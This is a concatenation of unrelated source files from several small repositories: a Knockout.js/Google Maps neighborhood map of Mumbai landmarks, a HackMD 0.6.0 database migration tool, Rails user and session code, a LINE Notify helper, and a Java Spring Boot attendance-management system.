] | 11 | TypeScript | dayaGuerra/catalogo-alicorp-talent | e952a5ac8d858cad06b32b47a40d1faa0d733d65 | 80b6bf14371626ad148935c0ccf202922ee94dc0 |
refs/heads/master | <repo_name>53akshit/JSNeigh_Map<file_sep>/JS/main.js
//declaration of variables and locs array
var locs = [
{ id: 0, title: 'gateway of india', location: { lat: 18.9220, lng: 72.8347 } },
{ id: 1, title: 'haji ali dargah', location: { lat: 18.9827, lng: 72.8090 } },
{ id: 2, title: 'essel world', location: { lat: 19.2327, lng: 72.8055 } },
{ id: 3, title: 'Mahalakshmi temple', location: { lat: 18.9774, lng: 72.8065 } },
{ id: 4, title: 'mumba devi temple', location: { lat: 18.9518, lng: 72.8309 } },
{ id: 5, title: 'worli fort', location: { lat: 19.0237, lng: 72.8168 } }
];
var map;
var markers = [];
var placeMarkers = [];
var marker;
var appViewModel = function () {
function timeout(markr) {
markr.setAnimation(null);
}
var self = this;
this.placeList = ko.observableArray([]);
for (var j = 0; j < locs.length; j++) {
self.placeList.push(locs[j]);
}
for (var i = 0; i < locs.length; i++) {
console.log(i);
self.placeList()[i].marker = markers[i];
}
this.CurrentPlace = function (LocClicked) {
var marker;
for (var i = 0; i < self.placeList().length; i++) {
var id = self.placeList()[i].id;
if (LocClicked.id == id) {
this.currentLocation = self.placeList()[i];
marker = markers[self.placeList()[i].id];
}
}
if (!marker) alert('Something was wrong!');
else {
marker.setAnimation(google.maps.Animation.BOUNCE);
// when either the marker or location is selected open up the info window
google.maps.event.trigger(marker, 'click');
}
};
this.find = ko.observable('');
this.TSearch = function (value) {
console.log(value);
sboxMethod(value);
};
this.foundLocation = ko.observable('');
this.Filtr = function (value) {
self.placeList.removeAll();
for (var i = 0; i < locs.length; i++) {
var searchQuery = locs[i].title.toLowerCase();
// find the starting match in every location
if (searchQuery.indexOf(value.toLowerCase()) >= 0) {
self.placeList.push(locs[i]);
}
}
};
this.FilterMarkers = function (value) {
for (var i in locs) {
var temp = markers[i];
if (temp.setMap(this.map) !== null) {
temp.setMap(null);
}
var searchQuery = temp.title.toLowerCase();
if (searchQuery.indexOf(value.toLowerCase()) >= 0) {
temp.setMap(map);
}
}
};
this.foundLocation.subscribe(this.Filtr);
this.foundLocation.subscribe(this.FilterMarkers);
this.find.subscribe(this.TSearch);
};
function getMarkerIcon(markercolor) {
var markerImage = new google.maps.MarkerImage('https://developers.google.com/maps/documentation/javascript/examples/full/images/beachflag.png',
new google.maps.Size(21, 34),
new google.maps.Point(0, 0),
new google.maps.Point(10, 34),
new google.maps.Size(21, 34)
);
return markerImage;
}
//when client made any serch this funtion helps
function sboxMethod(value) {
console.log(value);
var latlang = map.getBounds();
hideMarks(placeMarkers);
var pService = new google.maps.places.PlacesService(map);
pService.textSearch({
query: value,
bounds: latlang
},
function (results, status) {
if (status === google.maps.places.PlacesServiceStatus.OK) {
createMarks(results);
} else {
window.alert("Sorry try again");
}
}
);
}
// This function populates the infowindow when the marker is clicked. We'll only allow
// one infowindow which will open at the marker that is clicked, and populate based
// on that markers position.
function popInfoWindow(marker, infowindow) {
// this funtion ensures info widow is open otherwise our app won't work
if (infowindow.marker != marker) {
// Clear infowindow content to give the streetview time to load.
infowindow.setContent('');
infowindow.marker = marker;
// check the marker property is cleared if the infowindow is closed.
infowindow.addListener('closeclick', function() {
if(infowindow.marker !== null)
infowindow.marker.setAnimation(null);
infowindow.marker = null;
});
var streetViewService = new google.maps.StreetViewService();
var radii = 40;
infowindow.setContent(
'<div><h5 class=".h5" id="Title">' +
marker.title +
'</h5></div><div id="wiki-links" class="text-left text-info"><p>' +
'</p></div><div id="pano"></div>'
);
infowindow.open(map, marker);
var flag = true;
var wikiFlag = false;
var wikiElem = '';
//check the status if ok then get the streetview and set the panorama
function getStreetView(data, status) {
if (status == google.maps.StreetViewStatus.OK) {
var nearStreetLoc = data.location.latLng;
var head = google.maps.geometry.spherical.computeHeading( nearStreetLoc, marker.position);
//error handling
var errorTout = setTimeout(function() {
alert("Something went wrong");
}, 9000);
clearTimeout(errorTout);
var panOptions = {
position: nearStreetLoc,
pov: {
heading: head,
// changes the angle of camera whether to look up or down
pitch: 15
}
};
var pan = new google.maps.StreetViewPanorama(
document.getElementById('pano'), panOptions
);
} else {
$('#wiki-links').text(wikiElem);
$('#pano').text('');
$('#pano').append("<span class='text-danger '> Street View Not Found</span>");
flag = false;
}
}
// Use streetview service to fetch the streetview image withe the 40m radius of marker position
streetViewService.getPanoramaByLocation(marker.position, radii, getStreetView);
// open the infowindow on marker
infowindow.open(map, marker);
var wikiTout = setTimeout(function() {
wikiElem = 'failed to get wikipedia resources';
}, 8000);
var wikiUrl = 'https://en.wikipedia.org/w/api.php?origin=*&action=opensearch&search=' +
marker.title + '&format=json';
$.ajax({
url:wikiUrl,
dataType:"jsonp",
success:function(data) {
wikiFlag = true;
for(var i = 1; i < data.length; i++) {
var artList = data[i];
for(var j = 0; j < artList.length; j++) {
articlestr = artList[j];
if(articlestr.length > wikiElem.length) {
wikiElem = articlestr;
}
}
}
console.log(wikiElem);
if(flag === false) {
$('#wiki-links').text(wikiElem);
$('#pano').text("");
$('#pano').append("<span class='text-danger '>No Street View Found</span>");
} else {
$('#wiki-links').text(wikiElem);
}
clearTimeout(wikiTout);
}
}).fail(function(jqXHR, textStatus) {
if(jqXHR.status === 0) {
alert('No Internet Connection Detected!');
} else if(jqXHR.status == 404) {
alert('CALLBACK Error in Html Detected');
}
else alert("Failed to Resolve Request:" + textStatus + "\n");
});
}
}
function setMarkers(map) {
var lInfowindow = new google.maps.InfoWindow();
var dIcon = getMarkerIcon('#FF0000');
var highIcon = getMarkerIcon('#ffffff');
var latlang = new google.maps.LatLngBounds();
for (var k = 0; k < locs.length; k++) {
var pos = locs[k].location;
var title = locs[k].title;
var marker = new google.maps.Marker({
map: map,
title: title,
position: pos,
id: k,
animation: google.maps.Animation.DROP
});
markers.push(marker);
marker.addListener('click', markClick);
marker.addListener('mouseover', markin);
marker.addListener('mouseout', markout);
latlang.extend(markers[k].position);
}
map.fitBounds(latlang);
var sbox = new google.maps.places.SearchBox(document.getElementById('places-find'));
sbox.setBounds(map.getBounds());
sbox.addListener('places_changed', function () {
sBoxPlaces(this);
});
//when marker is clicked
function markClick() {
console.log("Hello");
popInfoWindow(this, lInfowindow);
this.setAnimation(google.maps.Animation.BOUNCE);
var p = this;
setTimeout(function () {
p.setAnimation(null);
}, 3000);
}
//highlighted icon
function markin() {
this.setIcon(highIcon);
}
//hide marker
function markout() {
this.setIcon(null);
}
}
// in this part we create markers for places in the projcet
function createMarks(places) {
var latlang = new google.maps.LatLngBounds();
for (var k = 0; k < places.length; k++) {
var plac = places[k];
var icon = {
url: plac.icon,
size: new google.maps.Size(35, 35),
origin: new google.maps.Point(0, 0),
anchor: new google.maps.Point(15, 34),
scaledSize: new google.maps.Size(25, 25)
};
var marker = new google.maps.Marker({
title: plac.name,
icon: icon,
map: map,
id: plac.id,
position: plac.geometry.location
});
placeMarkers.push(marker);
if (plac.geometry.viewport) {
latlang.union(plac.geometry.viewport);
} else {
latlang.extend(plac.geometry.location);
}
}
map.fitBounds(latlang);
}
//initializing the map
//the center element will initialize the map to desired location
function initMap() {
map = new google.maps.Map(document.getElementById('map'), {
zoom: 13,
center: {
lat: 31.1048,
lng: 77.1734
}
});
setMarkers(map);
}
//this is funtion for the serchbox
//it intialize the serch box to be used
function sBoxPlaces(sbox) {
hideMarks(placeMarkers);
var places = sbox.getPlaces();
createMarks(places);
//error handling
if (places.length === 0) {
window.alert("Query not Found ...");
}
}
//this function is used to hide markers
function hideMarks(marks) {
for (var i = 0; i < markers.length; i++) {
markers[i].setMap(null);
}
}
//the function is used for error handling
function displayError() {
window.alert("Oops Somethings Wrong");
}
//app model
//executes after rest of the ode is executed
var m = new appViewModel();
ko.applyBindings(m); | 5457edbe50137c23fb43df95170130e79edac70d | [
"JavaScript"
] | 1 | JavaScript | 53akshit/JSNeigh_Map | 8d87ea859b8ca4e421bb4ba494f0842b4bbbc8a4 | 7cf2ccb9c5e4af933b53375f495be2cf10ab8c41 |
refs/heads/master | <repo_name>hackmdio/migration-to-0.6.0<file_sep>/lib/models/note.js
"use strict";
// external modules
var md = require('markdown-it')();
var metaMarked = require('meta-marked');
var cheerio = require('cheerio');
var shortId = require('shortid');
var Sequelize = require("sequelize");
var S = require('string');
// permission types
var permissionTypes = ["freely", "editable", "limited", "locked", "protected", "private"];
module.exports = function (sequelize, DataTypes) {
var Note = sequelize.define("Note", {
id: {
type: DataTypes.UUID,
primaryKey: true,
defaultValue: Sequelize.UUIDV4
},
shortid: {
type: DataTypes.STRING,
unique: true,
allowNull: false,
defaultValue: shortId.generate
},
alias: {
type: DataTypes.STRING,
unique: true
},
permission: {
type: DataTypes.ENUM,
values: permissionTypes
},
viewcount: {
type: DataTypes.INTEGER,
allowNull: false,
defaultValue: 0
},
title: {
type: DataTypes.TEXT,
get: function () {
return sequelize.processData(this.getDataValue('title'), "");
},
set: function (value) {
this.setDataValue('title', sequelize.stripNullByte(value));
}
},
content: {
type: DataTypes.TEXT,
get: function () {
return sequelize.processData(this.getDataValue('content'), "");
},
set: function (value) {
this.setDataValue('content', sequelize.stripNullByte(value));
}
},
tags: {
type: DataTypes.TEXT,
get: function () {
return sequelize.processData(this.getDataValue('tags'), [], JSON.parse);
},
set: function (value) {
this.setDataValue('tags', JSON.stringify(value));
}
},
authorship: {
type: DataTypes.TEXT,
get: function () {
return sequelize.processData(this.getDataValue('authorship'), [], JSON.parse);
},
set: function (value) {
this.setDataValue('authorship', JSON.stringify(value));
}
},
lastchangeAt: {
type: DataTypes.DATE
},
savedAt: {
type: DataTypes.DATE
}
}, {
paranoid: true,
classMethods: {
parseNoteInfo: function (body) {
var parsed = Note.extractMeta(body);
var $ = cheerio.load(md.render(parsed.markdown));
return {
title: Note.extractNoteTitle(parsed.meta, $),
tags: Note.extractNoteTags(parsed.meta, $)
};
},
parseNoteTitle: function (body) {
var parsed = Note.extractMeta(body);
var $ = cheerio.load(md.render(parsed.markdown));
return Note.extractNoteTitle(parsed.meta, $);
},
extractNoteTitle: function (meta, $) {
var title = "";
if (meta.title && (typeof meta.title == "string" || typeof meta.title == "number")) {
title = meta.title;
} else {
var h1s = $("h1");
if (h1s.length > 0 && h1s.first().text().split('\n').length == 1)
title = S(h1s.first().text()).stripTags().s;
}
if (!title) title = "Untitled";
return title;
},
extractNoteTags: function (meta, $) {
var tags = [];
var rawtags = [];
if (meta.tags && (typeof meta.tags == "string" || typeof meta.tags == "number")) {
var metaTags = ('' + meta.tags).split(',');
for (var i = 0; i < metaTags.length; i++) {
var text = metaTags[i].trim();
if (text) rawtags.push(text);
}
} else {
var h6s = $("h6");
h6s.each(function (key, value) {
if (/^tags/gmi.test($(value).text())) {
var codes = $(value).find("code");
for (var i = 0; i < codes.length; i++) {
var text = S($(codes[i]).text().trim()).stripTags().s;
if (text) rawtags.push(text);
}
}
});
}
for (var i = 0; i < rawtags.length; i++) {
var found = false;
for (var j = 0; j < tags.length; j++) {
if (tags[j] == rawtags[i]) {
found = true;
break;
}
}
if (!found)
tags.push(rawtags[i]);
}
return tags;
},
extractMeta: function (content) {
try {
var obj = metaMarked(content);
if (!obj.markdown) obj.markdown = "";
if (!obj.meta) obj.meta = {};
} catch (err) {
var obj = {
markdown: content,
meta: {}
};
}
return obj;
}
}
});
return Note;
};
<file_sep>/lib/models/user.js
"use strict";
// external modules
var Sequelize = require("sequelize");
// core
var logger = require("../logger.js");
module.exports = function (sequelize, DataTypes) {
var User = sequelize.define("User", {
id: {
type: DataTypes.UUID,
primaryKey: true,
defaultValue: Sequelize.UUIDV4
},
profileid: {
type: DataTypes.STRING,
unique: true
},
profile: {
type: DataTypes.TEXT
},
history: {
type: DataTypes.TEXT
},
accessToken: {
type: DataTypes.STRING
},
refreshToken: {
type: DataTypes.STRING
},
email: {
type: Sequelize.TEXT,
validate: {
isEmail: true
}
},
displayName: {
type: Sequelize.STRING
},
username: {
type: Sequelize.STRING,
unique: true,
validate: {
is: ["^[a-z|0-9|_|-]+$", 'i'],
len: [3, 20]
}
},
avatarUrl: {
type: Sequelize.TEXT
},
password: {
type: Sequelize.TEXT
}
});
return User;
};<file_sep>/app.js
// app
// external modules
var util = require('util');
var async = require('async');
var validator = require('validator');
// core
var config = require("./lib/config.js");
var logger = require("./lib/logger.js");
// new models
var models = require("./lib/models");
function showProgress(index, total, name) {
// show every 100 counts
if (index % 100 == 0) {
logger.info('migrate ' + name + ' processing: ' + index + '/' + total);
}
}
var paging = 10000;
function migrateByModel(modelName, process, callback) {
var count = 0;
models[modelName].count().then(function (_count) {
logger.info('found ' + _count + ' ' + modelName.toLowerCase() + '!');
if (_count <= 0) return callback();
count = _count;
var processedCount = 0;
var successCount = 0;
function migrateInner() {
models[modelName].findAll({
order: [['createdAt', 'ASC']],
limit: paging,
offset: processedCount
}).then(function (items) {
async.eachOfSeries(items, function (item, key, _callback) {
var currentCount = processedCount + key + 1;
process(item, currentCount, function (err, result) {
if (err) {
logger.error('migrate ' + modelName.toLowerCase() + ' failed on: ' + item.id);
logger.error('migrate ' + modelName.toLowerCase() + ' failed: ' + err);
return _callback();
} else {
successCount++;
showProgress(currentCount, count, modelName.toLowerCase());
return _callback();
}
});
}, function (err) {
processedCount += items.length;
if (processedCount >= count) {
logger.info('migrate ' + modelName.toLowerCase() + ' success: ' + successCount + '/' + count);
return callback();
} else {
return migrateInner();
}
});
}).catch(function (err) {
return callback(err);
});
}
migrateInner();
}).catch(function (err) {
logger.error('count db ' + modelName.toLowerCase() + ' failed: ' + err);
return callback(err);
});
}
function migrateNotes(callback) {
logger.info('> migrate notes');
migrateByModel("Note", function (note, key, _callback) {
if (note.content && note.lastchangeAt) {
var tags = models.Note.parseNoteInfo(note.content).tags;
note.update({
tags: tags
}).then(function (note) {
return _callback(null, note);
}).catch(function (err) {
return _callback(err, null);
});
} else {
return _callback(null, note);
}
}, callback);
}
function migrateUsers(callback) {
logger.info('> migrate users');
migrateByModel("User", function (user, key, _callback) {
if ((!user.displayName || !user.username) && (user.profile || user.email)) {
var profile = user.profile ? JSON.parse(user.profile) : {};
var email = user.email || "";
var name = email.substring(0, email.lastIndexOf("@"));
var displayName = profile.displayName || name;
var username = profile.username || name;
if (displayName) user.set('displayName', displayName);
if (username) {
var lenAllow = validator.isLength(username, { min: 3, max: 20 });
var charAllow = validator.matches(username, '^[a-z|0-9|_|-]+$', 'i');
if (lenAllow && charAllow) {
models.User.findOne({
where: {
username: username
}
}).then(function (_user) {
if (!_user) user.set('username', username);
saveUser(user, _callback);
}).catch(function (err) {
logger.error('find user failed: ' + err);
return _callback(err, null);
});
} else {
return _callback(null, user);
}
} else {
saveUser(user, _callback);
}
} else {
return _callback(null, user);
}
}, callback);
}
function saveUser(user, _callback) {
if (user.changed()) {
user.save().then(function () {
return _callback(null, user);
}).catch(function (err) {
logger.error('save user failed: ' + err);
return _callback(err, null);
});
} else {
return _callback(null, user);
}
}
// sync new db models
models.sequelize.sync().then(function () {
logger.info('connect to db and sync success!');
logger.info('---start migration---');
async.series({
migrateNotes: migrateNotes,
migrateUsers: migrateUsers
}, function(err, results) {
if (err) {
throw err;
} else {
logger.info('---migration complete---');
process.exit(0);
}
});
}).catch(function (err) {
logger.error('migration failed: ' + util.inspect(err));
process.exit(1);
});
// log uncaught exception
process.on('uncaughtException', function (err) {
logger.error('An uncaught exception has occured.');
logger.error(err);
logger.error('Process will exit now.');
process.exit(1);
});<file_sep>/README.md
migration-to-0.6.0
===
This is the migration tool for HackMD to upgrade to version 0.6.0.
Use this tool if you were running a old version HackMD server.
We'll update the user profile and save note tags.
Get started
---
1. Stop your server.
2. Command `git pull` or whatever to do to upgrade your server to 0.6.0.
3. Run `node_modules/.bin/sequelize db:migrate` in your server to migrate to the latest schema.
4. Pull this repo, install node (at least 4.2), and run `npm install`.
5. Change the db configs in `config.json`, [see more here](http://sequelize.readthedocs.io/en/latest/api/sequelize/).
6. Run the `app.js` as you need (in most case `node app.js` is enough), remember to keep the logs.
7. Wait for migration.
8. Complete!
| 34bff9064da5dca211173a4801766be5a9ca4ef3 | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | hackmdio/migration-to-0.6.0 | d8834be16bd55366a8eea355044f5cf55895e5f2 | 53d799b3e299af4e334b1193807c43158a195a19 |
refs/heads/master | <repo_name>YongdongHe/RailsPractice<file_sep>/app/views/microposts/show.json.jbuilder
json.extract! @micropost, :id, :content, :userid, :created_at, :updated_at
<file_sep>/db/migrate/20150706140004_add_index_to_users_email.rb
class AddIndexToUsersEmail < ActiveRecord::Migration
def change
#调用add_index方法,参数含义为为user表的email列创建索引
#索引本身并不能保证唯一性,所以还要指定 unique: true
add_index :users , :email , :unique => true
end
end
<file_sep>/app/controllers/sessions_controller.rb
class SessionsController < ApplicationController
def create
user = User.find_by( :email => params[:session][:email].downcase)
if user && user.authenticate(params[:session][:password])
#密码正确
flash.now[:success] = '登陆成功'
#下面的还未定义
sign_in user
# redirect_to user
# 修改为登陆后转向之前访问的地址
redirect_back_or user
else
flash.now[:error] = '登陆失败'
render 'new'
end
end
def new
end
def destroy
sign_out
redirect_to root_path
end
end
<file_sep>/app/models/user.rb
class User < ActiveRecord::Base
attr_accessible :name, :email, :password, :password_confirmation
validates :name , :presence => true , :length => {:maximum => 50}
VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i
validates :email , :presence => true , :format => {:with => VALID_EMAIL_REGEX} , :uniqueness => { :case_sensitive => false}
# validates :password , :presence =>true , :length => {:minimum => 6}
# validates :password_confirmation , :presence => true
has_secure_password
validates :password , :length => {:minimum => 6}
before_save {self.email = email.downcase}
before_create :create_remember_token
def User.new_remember_token
SecureRandom.urlsafe_base64
end
def User.hash(token)
Digest::SHA1.hexdigest(token.to_s)
end
private
#添加生成remember_token的函数
def create_remember_token
self.remember_token = User.hash(User.new_remember_token)
end
end
| 2a28f15acf47380d9902001e34fd8ab50d9fad24 | [
"Ruby"
] | 4 | Ruby | YongdongHe/RailsPractice | 703e13a366efa4eb9cb96acf20cd06f2bd658926 | b09b8536370989fd621e567f082a98bbb2aa4826 |
refs/heads/master | <repo_name>gaomar/book-of-alexa-experts-parts<file_sep>/uketsuke/LINENotifyPost.js
const axios = require('axios');
const querystring = require('querystring');
require('dotenv').config();
module.exports.sendNotify = async function sendNotify(message) {
// LINEに渡すパラメータ
const jsonData = querystring.stringify(
{
"message": message
});
return new Promise(function (resolve, reject) {
axios.post(process.env.NOTIFY_URL, jsonData, {
headers: {
Authorization: `Bearer ${process.env.NOTIFY_TOKEN}`,
'Content-Type': 'application/x-www-form-urlencoded'
}
}).then(res => {
resolve(true);
}).catch(error => {
reject(error.response);
});
});
}; | 2568ad03b1b398f239eae03b3de7ceb0a93196ca | [
"JavaScript"
] | 1 | JavaScript | gaomar/book-of-alexa-experts-parts | fbb103c160db347519b8827be17e5d5529864e41 | 5a7a3ed2927189ba01ec9bff7b4bb4e74d0141f2 |
refs/heads/master | <repo_name>Spring-cat0518/attendance<file_sep>/src/main/java/com/example/attendance/domain/Department.java
package com.example.attendance.domain;
import javax.persistence.*;
public class Department {
/**
* 部门id
*/
@Id
private Long depaid;
/**
* 部门名称
*/
private String depaname;
/**
* 部门所属公司
*/
private Long depacompanyid;
/**
* 获取部门id
*
* @return depaid - 部门id
*/
public Long getDepaid() {
return depaid;
}
/**
* 设置部门id
*
* @param depaid 部门id
*/
public void setDepaid(Long depaid) {
this.depaid = depaid;
}
/**
* 获取部门名称
*
* @return depaname - 部门名称
*/
public String getDepaname() {
return depaname;
}
/**
* 设置部门名称
*
* @param depaname 部门名称
*/
public void setDepaname(String depaname) {
this.depaname = depaname;
}
/**
* 获取部门所属公司
*
* @return depacompanyid - 部门所属公司
*/
public Long getDepacompanyid() {
return depacompanyid;
}
/**
* 设置部门所属公司
*
* @param depacompanyid 部门所属公司
*/
public void setDepacompanyid(Long depacompanyid) {
this.depacompanyid = depacompanyid;
}
}<file_sep>/src/main/java/com/example/attendance/mapper/LeaveMapper.java
package com.example.attendance.mapper;
import com.example.attendance.domain.Leave;
import tk.mybatis.MyMapper;
public interface LeaveMapper extends MyMapper<Leave> {
}<file_sep>/src/test/java/com/example/attendance/AttendanceApplicationTests.java
package com.example.attendance;
import com.alibaba.fastjson.JSON;
import com.example.attendance.domain.Company;
import com.example.attendance.service.CompanyService;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringRunner;
@RunWith(SpringRunner.class)
@SpringBootTest
public class AttendanceApplicationTests {
@Autowired
private CompanyService companyService;
@Test
public void contextLoads() {
Company company = new Company();
company = companyService.selectByid(1L);
System.out.println(JSON.toJSONString(company));
}
}
<file_sep>/src/main/java/com/example/attendance/domain/Company.java
package com.example.attendance.domain;
import javax.persistence.*;
public class Company {
/**
* 公司id
*/
@Id
private Long compid;
/**
* 公司名称
*/
private String compname;
/**
* 公司持有人id
*/
private Long compholderid;
/**
* 公司持有人名称
*/
private String compholdername;
/**
* 公司持有人密码
*/
private String compholderpwd;
/**
* 公司持有人电话
*/
private String compholderphone;
/**
* 公司持有人邮箱
*/
private String compholderemail;
/**
* 公司ip地址
*/
private String compip;
/**
* 获取公司id
*
* @return compid - 公司id
*/
public Long getCompid() {
return compid;
}
/**
* 设置公司id
*
* @param compid 公司id
*/
public void setCompid(Long compid) {
this.compid = compid;
}
/**
* 获取公司名称
*
* @return compname - 公司名称
*/
public String getCompname() {
return compname;
}
/**
* 设置公司名称
*
* @param compname 公司名称
*/
public void setCompname(String compname) {
this.compname = compname;
}
/**
* 获取公司持有人id
*
* @return compholderid - 公司持有人id
*/
public Long getCompholderid() {
return compholderid;
}
/**
* 设置公司持有人id
*
* @param compholderid 公司持有人id
*/
public void setCompholderid(Long compholderid) {
this.compholderid = compholderid;
}
/**
* 获取公司持有人名称
*
* @return compholdername - 公司持有人名称
*/
public String getCompholdername() {
return compholdername;
}
/**
* 设置公司持有人名称
*
* @param compholdername 公司持有人名称
*/
public void setCompholdername(String compholdername) {
this.compholdername = compholdername;
}
/**
* 获取公司持有人密码
*
* @return compholderpwd - 公司持有人密码
*/
public String getCompholderpwd() {
return compholderpwd;
}
/**
* 设置公司持有人密码
*
* @param compholderpwd 公司持有人密码
*/
public void setCompholderpwd(String compholderpwd) {
this.compholderpwd = compholderpwd;
}
/**
* 获取公司持有人电话
*
* @return compholderphone - 公司持有人电话
*/
public String getCompholderphone() {
return compholderphone;
}
/**
* 设置公司持有人电话
*
* @param compholderphone 公司持有人电话
*/
public void setCompholderphone(String compholderphone) {
this.compholderphone = compholderphone;
}
/**
* 获取公司持有人邮箱
*
* @return compholderemail - 公司持有人邮箱
*/
public String getCompholderemail() {
return compholderemail;
}
/**
* 设置公司持有人邮箱
*
* @param compholderemail 公司持有人邮箱
*/
public void setCompholderemail(String compholderemail) {
this.compholderemail = compholderemail;
}
/**
* 获取公司ip地址
*
* @return compip - 公司ip地址
*/
public String getCompip() {
return compip;
}
/**
* 设置公司ip地址
*
* @param compip 公司ip地址
*/
public void setCompip(String compip) {
this.compip = compip;
}
}<file_sep>/src/main/java/com/example/attendance/domain/Leave.java
package com.example.attendance.domain;
import java.util.Date;
import javax.persistence.*;
public class Leave {
/**
* 请假单id
*/
@Id
private Long leavid;
/**
* 请假员工id
*/
private Long leavemplid;
/**
* 审核人id
*/
private Long leavagentid;
/**
* 请假单单状态值 1、未审核 2、已驳回未通知
3已通过未通知 4、已通知
*/
private Integer leavflag;
/**
* 请假类型 1、年假 2、事假 3、病假 4、婚假 5、丧假 6.调休假 7、工伤假 8、陪产假 9、产检假 10、产假
*/
private Integer leavtype;
/**
* 请假理由
*/
private String leavreason;
/**
* 请假结果(驳回理由或通过)
*/
private String leavresult;
/**
* 请假开始时间
*/
private Date leavstart;
/**
* 请假结束时间
*/
private Date leavend;
/**
* 获取请假单id
*
* @return leavid - 请假单id
*/
public Long getLeavid() {
return leavid;
}
/**
* 设置请假单id
*
* @param leavid 请假单id
*/
public void setLeavid(Long leavid) {
this.leavid = leavid;
}
/**
* 获取请假员工id
*
* @return leavemplid - 请假员工id
*/
public Long getLeavemplid() {
return leavemplid;
}
/**
* 设置请假员工id
*
* @param leavemplid 请假员工id
*/
public void setLeavemplid(Long leavemplid) {
this.leavemplid = leavemplid;
}
/**
* 获取审核人id
*
* @return leavagentid - 审核人id
*/
public Long getLeavagentid() {
return leavagentid;
}
/**
* 设置审核人id
*
* @param leavagentid 审核人id
*/
public void setLeavagentid(Long leavagentid) {
this.leavagentid = leavagentid;
}
/**
* 获取请假单单状态值 1、未审核 2、已驳回未通知
3已通过未通知 4、已通知
*
* @return leavflag - 请假单单状态值 1、未审核 2、已驳回未通知
3已通过未通知 4、已通知
*/
public Integer getLeavflag() {
return leavflag;
}
/**
* 设置请假单单状态值 1、未审核 2、已驳回未通知
3已通过未通知 4、已通知
*
* @param leavflag 请假单单状态值 1、未审核 2、已驳回未通知
3已通过未通知 4、已通知
*/
public void setLeavflag(Integer leavflag) {
this.leavflag = leavflag;
}
/**
* 获取请假类型 1、年假 2、事假 3、病假 4、婚假 5、丧假 6.调休假 7、工伤假 8、陪产假 9、产检假 10、产假
*
* @return leavtype - 请假类型 1、年假 2、事假 3、病假 4、婚假 5、丧假 6.调休假 7、工伤假 8、陪产假 9、产检假 10、产假
*/
public Integer getLeavtype() {
return leavtype;
}
/**
* 设置请假类型 1、年假 2、事假 3、病假 4、婚假 5、丧假 6.调休假 7、工伤假 8、陪产假 9、产检假 10、产假
*
* @param leavtype 请假类型 1、年假 2、事假 3、病假 4、婚假 5、丧假 6.调休假 7、工伤假 8、陪产假 9、产检假 10、产假
*/
public void setLeavtype(Integer leavtype) {
this.leavtype = leavtype;
}
/**
* 获取请假理由
*
* @return leavreason - 请假理由
*/
public String getLeavreason() {
return leavreason;
}
/**
* 设置请假理由
*
* @param leavreason 请假理由
*/
public void setLeavreason(String leavreason) {
this.leavreason = leavreason;
}
/**
* 获取请假结果(驳回理由或通过)
*
* @return leavresult - 请假结果(驳回理由或通过)
*/
public String getLeavresult() {
return leavresult;
}
/**
* 设置请假结果(驳回理由或通过)
*
* @param leavresult 请假结果(驳回理由或通过)
*/
public void setLeavresult(String leavresult) {
this.leavresult = leavresult;
}
/**
* 获取请假开始时间
*
* @return leavstart - 请假开始时间
*/
public Date getLeavstart() {
return leavstart;
}
/**
* 设置请假开始时间
*
* @param leavstart 请假开始时间
*/
public void setLeavstart(Date leavstart) {
this.leavstart = leavstart;
}
/**
* 获取请假结束时间
*
* @return leavend - 请假结束时间
*/
public Date getLeavend() {
return leavend;
}
/**
* 设置请假结束时间
*
* @param leavend 请假结束时间
*/
public void setLeavend(Date leavend) {
this.leavend = leavend;
}
}<file_sep>/src/main/java/com/example/attendance/service/impl/CompanyServiceImpl.java
package com.example.attendance.service.impl;
import com.example.attendance.domain.Company;
import com.example.attendance.mapper.CompanyMapper;
import com.example.attendance.service.CompanyService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
/**
* @Author: 吴机杏
* @Date: 2020/2/18 16:13
*/
@Service
public class CompanyServiceImpl implements CompanyService {
@Autowired
private CompanyMapper companyMapper;
@Override
public boolean insertCompany(Company company) {
return companyMapper.insert(company) > 0;
}
@Override
public Company selectByid(Long id) {
return companyMapper.selectByPrimaryKey(id);
}
}
<file_sep>/src/main/java/com/example/attendance/service/AttendanceService.java
package com.example.attendance.service;
import com.example.attendance.domain.Attendance;
import com.example.attendance.domain.AttendanceQuery;
import java.util.List;
/**
* @Author: 吴机杏
* @Date: 2020/2/21 15:58
*/
public interface AttendanceService {
boolean insertAttendance(Attendance attendance);
List<Attendance> selectAttendance(AttendanceQuery attendanceQuery);
}
<file_sep>/src/main/java/com/example/attendance/service/CompanyService.java
package com.example.attendance.service;
import com.example.attendance.domain.Company;
/**
* @Author: 吴机杏
* @Date: 2020/2/18 16:08
*/
public interface CompanyService {
boolean insertCompany(Company company);
Company selectByid(Long id);
}
<file_sep>/src/main/java/com/example/attendance/domain/EmployeeQuery.java
package com.example.attendance.domain;
import java.io.Serializable;
/**
* @Author: 吴机杏
* @Date: 2020/2/21 13:47
*/
public class EmployeeQuery extends Query implements Serializable {
}
<file_sep>/src/main/java/com/example/attendance/mapper/CompanyMapper.java
package com.example.attendance.mapper;
import com.example.attendance.domain.Company;
import tk.mybatis.MyMapper;
public interface CompanyMapper extends MyMapper<Company> {
}<file_sep>/src/main/java/com/example/attendance/mapper/ClockMapper.java
package com.example.attendance.mapper;
import com.example.attendance.domain.Clock;
import tk.mybatis.MyMapper;
public interface ClockMapper extends MyMapper<Clock> {
}<file_sep>/src/main/java/com/example/attendance/service/impl/AttendanceServiceImpl.java
package com.example.attendance.service.impl;
import com.example.attendance.domain.Attendance;
import com.example.attendance.domain.AttendanceQuery;
import com.example.attendance.mapper.AttendanceMapper;
import com.example.attendance.service.AttendanceService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import tk.mybatis.mapper.entity.Example;
import java.util.List;
/**
* @Author: 吴机杏
* @Date: 2020/2/21 16:13
*/
@Service
public class AttendanceServiceImpl implements AttendanceService {
@Autowired
private AttendanceMapper attendanceMapper;
@Override
public boolean insertAttendance(Attendance attendance) {
return attendanceMapper.insert(attendance) > 0;
}
@Override
public List<Attendance> selectAttendance(AttendanceQuery attendanceQuery) {
Example example = new Example(Attendance.class);
Example.Criteria criteria = example.createCriteria();
return attendanceMapper.selectByExample(criteria);
}
}
